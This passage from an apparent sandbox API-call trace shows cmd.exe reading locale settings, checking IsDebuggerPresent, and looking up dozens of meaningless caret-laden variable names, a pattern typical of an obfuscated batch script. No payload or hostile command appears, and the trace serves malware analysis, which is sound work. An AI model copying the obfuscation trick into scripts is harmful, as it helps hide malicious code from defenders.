lpLCData=0x49d87b50, cchData=8 | out: lpLCData=":") returned 2 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1efb40, cchData=128 | out: lpLCData="0") returned 2 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1efb40, cchData=128 | out: lpLCData="0") returned 2 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1efb40, cchData=128 | out: lpLCData="1") returned 2 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49d9a740, cchData=8 | out: lpLCData="/") returned 2 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49d9a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49d9a460, cchData=32 | out: lpLCData="Tue") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49d9a420, cchData=32 | out: lpLCData="Wed") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49d9a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49d9a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49d9a360, cchData=32 | out: lpLCData="Sat") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49d9a700, cchData=32 | out: lpLCData="Sun") returned 4 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d87b40, cchData=8 | out: lpLCData=".") returned 2 [0085.539] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49d9a4e0, cchData=8 | out: lpLCData=",") returned 2 [0085.539] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0085.540] GetConsoleTitleW (in: lpConsoleTitle=0x2bf5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.540] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0085.540] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0085.540] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0085.540] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0085.541] GetEnvironmentVariableW (in: lpName="r^M", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.541] _wcsicmp (_String1="r^M", _String2="CD") returned 15 [0085.541] _wcsicmp (_String1="r^M", _String2="ERRORLEVEL") returned 13 [0085.541] _wcsicmp (_String1="r^M", _String2="CMDEXTVERSION") returned 15 [0085.541] _wcsicmp (_String1="r^M", _String2="CMDCMDLINE") returned 15 [0085.541] _wcsicmp (_String1="r^M", _String2="DATE") returned 14 [0085.541] _wcsicmp (_String1="r^M", _String2="TIME") returned -2 [0085.541] _wcsicmp (_String1="r^M", _String2="RANDOM") returned -3 [0085.541] _wcsicmp (_String1="r^M", _String2="HIGHESTNUMANODENUMBER") returned 10 [0085.543] GetEnvironmentVariableW (in: lpName="B^9s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.543] _wcsicmp (_String1="B^9s", _String2="CD") returned -1 [0085.543] _wcsicmp (_String1="B^9s", _String2="ERRORLEVEL") returned -3 [0085.543] _wcsicmp (_String1="B^9s", _String2="CMDEXTVERSION") returned -1 [0085.543] _wcsicmp (_String1="B^9s", _String2="CMDCMDLINE") returned -1 [0085.543] _wcsicmp (_String1="B^9s", _String2="DATE") returned -2 [0085.543] _wcsicmp (_String1="B^9s", _String2="TIME") returned -18 [0085.543] _wcsicmp (_String1="B^9s", _String2="RANDOM") returned -16 [0085.543] _wcsicmp (_String1="B^9s", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.543] GetEnvironmentVariableW (in: lpName="7z", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.543] _wcsicmp (_String1="7z", _String2="CD") returned -44 [0085.543] _wcsicmp (_String1="7z", _String2="ERRORLEVEL") returned -46 [0085.543] _wcsicmp (_String1="7z", _String2="CMDEXTVERSION") returned -44 [0085.543] _wcsicmp (_String1="7z", _String2="CMDCMDLINE") returned -44 [0085.543] _wcsicmp (_String1="7z", _String2="DATE") returned -45 [0085.543] _wcsicmp (_String1="7z", _String2="TIME") returned -61 [0085.543] _wcsicmp (_String1="7z", _String2="RANDOM") returned -59 [0085.543] _wcsicmp (_String1="7z", _String2="HIGHESTNUMANODENUMBER") returned -49 [0085.544] GetEnvironmentVariableW (in: lpName="s^O", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.544] _wcsicmp (_String1="s^O", _String2="CD") returned 16 [0085.544] _wcsicmp (_String1="s^O", _String2="ERRORLEVEL") returned 14 [0085.544] _wcsicmp (_String1="s^O", _String2="CMDEXTVERSION") returned 16 [0085.544] _wcsicmp (_String1="s^O", _String2="CMDCMDLINE") returned 16 [0085.544] _wcsicmp (_String1="s^O", _String2="DATE") returned 15 [0085.544] _wcsicmp (_String1="s^O", _String2="TIME") returned -1 [0085.544] _wcsicmp (_String1="s^O", _String2="RANDOM") returned 1 [0085.544] _wcsicmp (_String1="s^O", _String2="HIGHESTNUMANODENUMBER") returned 11 [0085.544] GetEnvironmentVariableW (in: lpName="c^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.544] _wcsicmp (_String1="c^g", _String2="CD") returned -6 [0085.544] _wcsicmp (_String1="c^g", _String2="ERRORLEVEL") returned -2 [0085.544] _wcsicmp (_String1="c^g", _String2="CMDEXTVERSION") returned -15 [0085.544] _wcsicmp (_String1="c^g", _String2="CMDCMDLINE") returned -15 [0085.544] _wcsicmp (_String1="c^g", _String2="DATE") returned -1 [0085.544] _wcsicmp (_String1="c^g", _String2="TIME") returned -17 [0085.544] _wcsicmp (_String1="c^g", _String2="RANDOM") returned -15 [0085.544] _wcsicmp (_String1="c^g", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.545] GetEnvironmentVariableW (in: lpName="^rj^UN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="CD") returned -5 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="ERRORLEVEL") returned -7 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="CMDEXTVERSION") returned -5 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="CMDCMDLINE") returned -5 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="DATE") returned -6 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="TIME") returned -22 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="RANDOM") returned -20 [0085.545] _wcsicmp (_String1="^rj^UN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.545] GetEnvironmentVariableW (in: lpName="sZ^G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.545] _wcsicmp (_String1="sZ^G", _String2="CD") returned 16 [0085.545] _wcsicmp (_String1="sZ^G", _String2="ERRORLEVEL") returned 14 [0085.545] _wcsicmp (_String1="sZ^G", _String2="CMDEXTVERSION") returned 16 [0085.545] _wcsicmp (_String1="sZ^G", _String2="CMDCMDLINE") returned 16 [0085.545] _wcsicmp (_String1="sZ^G", _String2="DATE") returned 15 [0085.545] _wcsicmp (_String1="sZ^G", _String2="TIME") returned -1 [0085.545] _wcsicmp (_String1="sZ^G", _String2="RANDOM") returned 1 [0085.545] _wcsicmp (_String1="sZ^G", _String2="HIGHESTNUMANODENUMBER") returned 11 [0085.546] GetEnvironmentVariableW (in: lpName="^Vp^05", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="CD") returned -5 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="ERRORLEVEL") returned -7 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="CMDEXTVERSION") returned -5 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="CMDCMDLINE") returned -5 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="DATE") returned -6 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="TIME") returned -22 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="RANDOM") returned -20 [0085.546] _wcsicmp (_String1="^Vp^05", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.546] GetEnvironmentVariableW (in: lpName="^8R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.546] _wcsicmp (_String1="^8R", _String2="CD") returned -5 [0085.546] _wcsicmp (_String1="^8R", _String2="ERRORLEVEL") returned -7 [0085.546] _wcsicmp (_String1="^8R", _String2="CMDEXTVERSION") returned -5 [0085.546] _wcsicmp (_String1="^8R", _String2="CMDCMDLINE") returned -5 [0085.546] _wcsicmp (_String1="^8R", _String2="DATE") returned -6 [0085.546] _wcsicmp (_String1="^8R", _String2="TIME") returned -22 [0085.546] _wcsicmp (_String1="^8R", _String2="RANDOM") returned -20 [0085.547] _wcsicmp (_String1="^8R", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.547] GetEnvironmentVariableW (in: lpName="D^RKS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.547] _wcsicmp (_String1="D^RKS", _String2="CD") returned 1 [0085.547] _wcsicmp (_String1="D^RKS", _String2="ERRORLEVEL") returned -1 [0085.547] _wcsicmp (_String1="D^RKS", _String2="CMDEXTVERSION") returned 1 [0085.547] _wcsicmp (_String1="D^RKS", _String2="CMDCMDLINE") returned 1 [0085.547] _wcsicmp (_String1="D^RKS", _String2="DATE") returned -3 [0085.547] _wcsicmp (_String1="D^RKS", _String2="TIME") returned -16 [0085.547] _wcsicmp (_String1="D^RKS", _String2="RANDOM") returned -14 [0085.547] _wcsicmp (_String1="D^RKS", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.547] GetEnvironmentVariableW (in: lpName="^Eh^p", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="CD") returned -5 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="ERRORLEVEL") returned -7 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="CMDEXTVERSION") returned -5 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="CMDCMDLINE") returned -5 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="DATE") returned -6 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="TIME") returned -22 [0085.547] _wcsicmp (_String1="^Eh^p", _String2="RANDOM") returned -20 [0085.548] _wcsicmp (_String1="^Eh^p", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.548] GetEnvironmentVariableW (in: lpName="gx^b", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.548] _wcsicmp (_String1="gx^b", _String2="CD") returned 4 [0085.548] _wcsicmp (_String1="gx^b", _String2="ERRORLEVEL") returned 2 [0085.548] _wcsicmp (_String1="gx^b", _String2="CMDEXTVERSION") returned 4 [0085.548] _wcsicmp (_String1="gx^b", _String2="CMDCMDLINE") returned 4 [0085.548] _wcsicmp (_String1="gx^b", _String2="DATE") returned 3 [0085.548] _wcsicmp (_String1="gx^b", _String2="TIME") returned -13 [0085.548] _wcsicmp (_String1="gx^b", _String2="RANDOM") returned -11 [0085.548] _wcsicmp (_String1="gx^b", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.548] GetEnvironmentVariableW (in: lpName="^6vzH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.548] _wcsicmp (_String1="^6vzH", _String2="CD") returned -5 [0085.548] _wcsicmp (_String1="^6vzH", _String2="ERRORLEVEL") returned -7 [0085.548] _wcsicmp (_String1="^6vzH", _String2="CMDEXTVERSION") returned -5 [0085.548] _wcsicmp (_String1="^6vzH", _String2="CMDCMDLINE") returned -5 [0085.548] _wcsicmp (_String1="^6vzH", _String2="DATE") returned -6 [0085.548] _wcsicmp (_String1="^6vzH", _String2="TIME") returned -22 [0085.548] _wcsicmp (_String1="^6vzH", _String2="RANDOM") returned -20 [0085.549] _wcsicmp (_String1="^6vzH", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.549] GetEnvironmentVariableW (in: lpName="^Rz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.549] _wcsicmp (_String1="^Rz", _String2="CD") returned -5 [0085.549] _wcsicmp (_String1="^Rz", _String2="ERRORLEVEL") returned -7 [0085.549] _wcsicmp (_String1="^Rz", _String2="CMDEXTVERSION") returned -5 [0085.549] _wcsicmp (_String1="^Rz", _String2="CMDCMDLINE") returned -5 [0085.549] _wcsicmp (_String1="^Rz", _String2="DATE") returned -6 [0085.549] _wcsicmp (_String1="^Rz", _String2="TIME") returned -22 [0085.549] _wcsicmp (_String1="^Rz", _String2="RANDOM") returned -20 [0085.549] _wcsicmp (_String1="^Rz", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.549] GetEnvironmentVariableW (in: lpName="9c^u^B", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="CD") returned -42 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="ERRORLEVEL") returned -44 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="CMDEXTVERSION") returned -42 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="CMDCMDLINE") returned -42 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="DATE") returned -43 [0085.549] _wcsicmp (_String1="9c^u^B", _String2="TIME") returned -59 [0085.550] _wcsicmp (_String1="9c^u^B", _String2="RANDOM") returned -57 [0085.550] _wcsicmp (_String1="9c^u^B", _String2="HIGHESTNUMANODENUMBER") returned -47 [0085.550] GetEnvironmentVariableW (in: lpName="^G5Q1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="CD") returned -5 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="ERRORLEVEL") returned -7 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="CMDEXTVERSION") returned -5 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="CMDCMDLINE") returned -5 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="DATE") returned -6 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="TIME") returned -22 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="RANDOM") returned -20 [0085.550] _wcsicmp (_String1="^G5Q1", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.550] GetEnvironmentVariableW (in: lpName="v^F", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.550] _wcsicmp (_String1="v^F", _String2="CD") returned 19 [0085.550] _wcsicmp (_String1="v^F", _String2="ERRORLEVEL") returned 17 [0085.550] _wcsicmp (_String1="v^F", _String2="CMDEXTVERSION") returned 19 [0085.550] _wcsicmp (_String1="v^F", _String2="CMDCMDLINE") returned 19 [0085.550] _wcsicmp (_String1="v^F", _String2="DATE") returned 18 [0085.551] _wcsicmp (_String1="v^F", _String2="TIME") returned 2 [0085.551] _wcsicmp (_String1="v^F", _String2="RANDOM") returned 4 [0085.551] _wcsicmp (_String1="v^F", _String2="HIGHESTNUMANODENUMBER") returned 14 [0085.551] GetEnvironmentVariableW (in: lpName="uU^H", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.551] _wcsicmp (_String1="uU^H", _String2="CD") returned 18 [0085.551] _wcsicmp (_String1="uU^H", _String2="ERRORLEVEL") returned 16 [0085.551] _wcsicmp (_String1="uU^H", _String2="CMDEXTVERSION") returned 18 [0085.551] _wcsicmp (_String1="uU^H", _String2="CMDCMDLINE") returned 18 [0085.551] _wcsicmp (_String1="uU^H", _String2="DATE") returned 17 [0085.551] _wcsicmp (_String1="uU^H", _String2="TIME") returned 1 [0085.551] _wcsicmp (_String1="uU^H", _String2="RANDOM") returned 3 [0085.551] _wcsicmp (_String1="uU^H", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.551] GetEnvironmentVariableW (in: lpName="v^Z^c", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.551] _wcsicmp (_String1="v^Z^c", _String2="CD") returned 19 [0085.551] _wcsicmp (_String1="v^Z^c", _String2="ERRORLEVEL") returned 17 [0085.551] _wcsicmp (_String1="v^Z^c", _String2="CMDEXTVERSION") returned 19 [0085.552] _wcsicmp (_String1="v^Z^c", _String2="CMDCMDLINE") returned 19 [0085.552] _wcsicmp (_String1="v^Z^c", _String2="DATE") returned 18 [0085.552] _wcsicmp (_String1="v^Z^c", _String2="TIME") returned 2 [0085.552] _wcsicmp (_String1="v^Z^c", _String2="RANDOM") returned 4 [0085.552] _wcsicmp (_String1="v^Z^c", _String2="HIGHESTNUMANODENUMBER") returned 14 [0085.552] GetEnvironmentVariableW (in: lpName="a^Xch", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.552] _wcsicmp (_String1="a^Xch", _String2="CD") returned -2 [0085.552] _wcsicmp (_String1="a^Xch", _String2="ERRORLEVEL") returned -4 [0085.552] _wcsicmp (_String1="a^Xch", _String2="CMDEXTVERSION") returned -2 [0085.552] _wcsicmp (_String1="a^Xch", _String2="CMDCMDLINE") returned -2 [0085.552] _wcsicmp (_String1="a^Xch", _String2="DATE") returned -3 [0085.552] _wcsicmp (_String1="a^Xch", _String2="TIME") returned -19 [0085.552] _wcsicmp (_String1="a^Xch", _String2="RANDOM") returned -17 [0085.552] _wcsicmp (_String1="a^Xch", _String2="HIGHESTNUMANODENUMBER") returned -7 [0085.552] GetEnvironmentVariableW (in: lpName="P^d^J6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.552] _wcsicmp (_String1="P^d^J6", _String2="CD") returned 13 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="ERRORLEVEL") returned 11 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="CMDEXTVERSION") returned 13 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="CMDCMDLINE") returned 13 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="DATE") returned 12 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="TIME") returned -4 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="RANDOM") returned -2 [0085.553] _wcsicmp (_String1="P^d^J6", _String2="HIGHESTNUMANODENUMBER") returned 8 [0085.553] GetEnvironmentVariableW (in: lpName="L^b", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.553] _wcsicmp (_String1="L^b", _String2="CD") returned 9 [0085.553] _wcsicmp (_String1="L^b", _String2="ERRORLEVEL") returned 7 [0085.553] _wcsicmp (_String1="L^b", _String2="CMDEXTVERSION") returned 9 [0085.553] _wcsicmp (_String1="L^b", _String2="CMDCMDLINE") returned 9 [0085.553] _wcsicmp (_String1="L^b", _String2="DATE") returned 8 [0085.553] _wcsicmp (_String1="L^b", _String2="TIME") returned -8 [0085.553] _wcsicmp (_String1="L^b", _String2="RANDOM") returned -6 [0085.553] _wcsicmp (_String1="L^b", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.553] GetEnvironmentVariableW (in: lpName="^Zb", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.554] _wcsicmp (_String1="^Zb", _String2="CD") returned -5 [0085.554] _wcsicmp (_String1="^Zb", _String2="ERRORLEVEL") returned -7 [0085.554] _wcsicmp (_String1="^Zb", _String2="CMDEXTVERSION") returned -5 [0085.554] _wcsicmp (_String1="^Zb", _String2="CMDCMDLINE") returned -5 [0085.554] _wcsicmp (_String1="^Zb", _String2="DATE") returned -6 [0085.554] _wcsicmp (_String1="^Zb", _String2="TIME") returned -22 [0085.554] _wcsicmp (_String1="^Zb", _String2="RANDOM") returned -20 [0085.554] _wcsicmp (_String1="^Zb", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.554] GetEnvironmentVariableW (in: lpName="^R5qC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.554] _wcsicmp (_String1="^R5qC", _String2="CD") returned -5 [0085.554] _wcsicmp (_String1="^R5qC", _String2="ERRORLEVEL") returned -7 [0085.554] _wcsicmp (_String1="^R5qC", _String2="CMDEXTVERSION") returned -5 [0085.554] _wcsicmp (_String1="^R5qC", _String2="CMDCMDLINE") returned -5 [0085.554] _wcsicmp (_String1="^R5qC", _String2="DATE") returned -6 [0085.554] _wcsicmp (_String1="^R5qC", _String2="TIME") returned -22 [0085.554] _wcsicmp (_String1="^R5qC", _String2="RANDOM") returned -20 [0085.554] _wcsicmp (_String1="^R5qC", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.555] GetEnvironmentVariableW (in: lpName="^Z13", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.555] _wcsicmp (_String1="^Z13", _String2="CD") returned -5 [0085.555] _wcsicmp (_String1="^Z13", _String2="ERRORLEVEL") returned -7 [0085.555] _wcsicmp (_String1="^Z13", _String2="CMDEXTVERSION") returned -5 [0085.555] _wcsicmp (_String1="^Z13", _String2="CMDCMDLINE") returned -5 [0085.555] _wcsicmp (_String1="^Z13", _String2="DATE") returned -6 [0085.555] _wcsicmp (_String1="^Z13", _String2="TIME") returned -22 [0085.555] _wcsicmp (_String1="^Z13", _String2="RANDOM") returned -20 [0085.555] _wcsicmp (_String1="^Z13", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.555] GetEnvironmentVariableW (in: lpName="j1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.555] _wcsicmp (_String1="j1", _String2="CD") returned 7 [0085.555] _wcsicmp (_String1="j1", _String2="ERRORLEVEL") returned 5 [0085.555] _wcsicmp (_String1="j1", _String2="CMDEXTVERSION") returned 7 [0085.555] _wcsicmp (_String1="j1", _String2="CMDCMDLINE") returned 7 [0085.555] _wcsicmp (_String1="j1", _String2="DATE") returned 6 [0085.555] _wcsicmp (_String1="j1", _String2="TIME") returned -10 [0085.555] _wcsicmp (_String1="j1", _String2="RANDOM") returned -8 [0085.555] _wcsicmp (_String1="j1", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.556] GetEnvironmentVariableW (in: lpName="x^S", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.556] _wcsicmp (_String1="x^S", _String2="CD") returned 21 [0085.556] _wcsicmp (_String1="x^S", _String2="ERRORLEVEL") returned 19 [0085.556] _wcsicmp (_String1="x^S", _String2="CMDEXTVERSION") returned 21 [0085.556] _wcsicmp (_String1="x^S", _String2="CMDCMDLINE") returned 21 [0085.556] _wcsicmp (_String1="x^S", _String2="DATE") returned 20 [0085.556] _wcsicmp (_String1="x^S", _String2="TIME") returned 4 [0085.556] _wcsicmp (_String1="x^S", _String2="RANDOM") returned 6 [0085.556] _wcsicmp (_String1="x^S", _String2="HIGHESTNUMANODENUMBER") returned 16 [0085.556] GetEnvironmentVariableW (in: lpName="eZ^P", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.556] _wcsicmp (_String1="eZ^P", _String2="CD") returned 2 [0085.556] _wcsicmp (_String1="eZ^P", _String2="ERRORLEVEL") returned 8 [0085.556] _wcsicmp (_String1="eZ^P", _String2="CMDEXTVERSION") returned 2 [0085.556] _wcsicmp (_String1="eZ^P", _String2="CMDCMDLINE") returned 2 [0085.556] _wcsicmp (_String1="eZ^P", _String2="DATE") returned 1 [0085.556] _wcsicmp (_String1="eZ^P", _String2="TIME") returned -15 [0085.556] _wcsicmp (_String1="eZ^P", _String2="RANDOM") returned -13 [0085.556] _wcsicmp (_String1="eZ^P", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.557] GetEnvironmentVariableW (in: lpName="^a^z8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.557] _wcsicmp (_String1="^a^z8", _String2="CD") returned -5 [0085.557] _wcsicmp (_String1="^a^z8", _String2="ERRORLEVEL") returned -7 [0085.557] _wcsicmp (_String1="^a^z8", _String2="CMDEXTVERSION") returned -5 [0085.557] _wcsicmp (_String1="^a^z8", _String2="CMDCMDLINE") returned -5 [0085.557] _wcsicmp (_String1="^a^z8", _String2="DATE") returned -6 [0085.557] _wcsicmp (_String1="^a^z8", _String2="TIME") returned -22 [0085.557] _wcsicmp (_String1="^a^z8", _String2="RANDOM") returned -20 [0085.557] _wcsicmp (_String1="^a^z8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.557] GetEnvironmentVariableW (in: lpName="^U19", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.557] _wcsicmp (_String1="^U19", _String2="CD") returned -5 [0085.557] _wcsicmp (_String1="^U19", _String2="ERRORLEVEL") returned -7 [0085.557] _wcsicmp (_String1="^U19", _String2="CMDEXTVERSION") returned -5 [0085.557] _wcsicmp (_String1="^U19", _String2="CMDCMDLINE") returned -5 [0085.557] _wcsicmp (_String1="^U19", _String2="DATE") returned -6 [0085.557] _wcsicmp (_String1="^U19", _String2="TIME") returned -22 [0085.557] _wcsicmp (_String1="^U19", _String2="RANDOM") returned -20 [0085.558] _wcsicmp (_String1="^U19", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.558] GetEnvironmentVariableW (in: lpName="b^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.558] _wcsicmp (_String1="b^1", _String2="CD") returned -1 [0085.558] _wcsicmp (_String1="b^1", _String2="ERRORLEVEL") returned -3 [0085.558] _wcsicmp (_String1="b^1", _String2="CMDEXTVERSION") returned -1 [0085.558] _wcsicmp (_String1="b^1", _String2="CMDCMDLINE") returned -1 [0085.558] _wcsicmp (_String1="b^1", _String2="DATE") returned -2 [0085.558] _wcsicmp (_String1="b^1", _String2="TIME") returned -18 [0085.558] _wcsicmp (_String1="b^1", _String2="RANDOM") returned -16 [0085.558] _wcsicmp (_String1="b^1", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.558] GetEnvironmentVariableW (in: lpName="^AN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.558] _wcsicmp (_String1="^AN", _String2="CD") returned -5 [0085.558] _wcsicmp (_String1="^AN", _String2="ERRORLEVEL") returned -7 [0085.558] _wcsicmp (_String1="^AN", _String2="CMDEXTVERSION") returned -5 [0085.558] _wcsicmp (_String1="^AN", _String2="CMDCMDLINE") returned -5 [0085.559] _wcsicmp (_String1="^AN", _String2="DATE") returned -6 [0085.559] _wcsicmp (_String1="^AN", _String2="TIME") returned -22 [0085.559] _wcsicmp (_String1="^AN", _String2="RANDOM") returned -20 [0085.559] _wcsicmp (_String1="^AN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.559] GetEnvironmentVariableW (in: lpName="Sq^5^s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="CD") returned 16 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="ERRORLEVEL") returned 14 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="CMDEXTVERSION") returned 16 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="CMDCMDLINE") returned 16 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="DATE") returned 15 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="TIME") returned -1 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="RANDOM") returned 1 [0085.559] _wcsicmp (_String1="Sq^5^s", _String2="HIGHESTNUMANODENUMBER") returned 11 [0085.559] GetEnvironmentVariableW (in: lpName="JG^A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.559] _wcsicmp (_String1="JG^A", _String2="CD") returned 7 [0085.559] _wcsicmp (_String1="JG^A", _String2="ERRORLEVEL") returned 5 [0085.560] _wcsicmp (_String1="JG^A", _String2="CMDEXTVERSION") returned 7 [0085.560] _wcsicmp (_String1="JG^A", _String2="CMDCMDLINE") returned 7 [0085.560] _wcsicmp (_String1="JG^A", _String2="DATE") returned 6 [0085.560] _wcsicmp (_String1="JG^A", _String2="TIME") returned -10 [0085.560] _wcsicmp (_String1="JG^A", _String2="RANDOM") returned -8 [0085.560] _wcsicmp (_String1="JG^A", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.560] GetEnvironmentVariableW (in: lpName="^LK", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.560] _wcsicmp (_String1="^LK", _String2="CD") returned -5 [0085.560] _wcsicmp (_String1="^LK", _String2="ERRORLEVEL") returned -7 [0085.560] _wcsicmp (_String1="^LK", _String2="CMDEXTVERSION") returned -5 [0085.560] _wcsicmp (_String1="^LK", _String2="CMDCMDLINE") returned -5 [0085.560] _wcsicmp 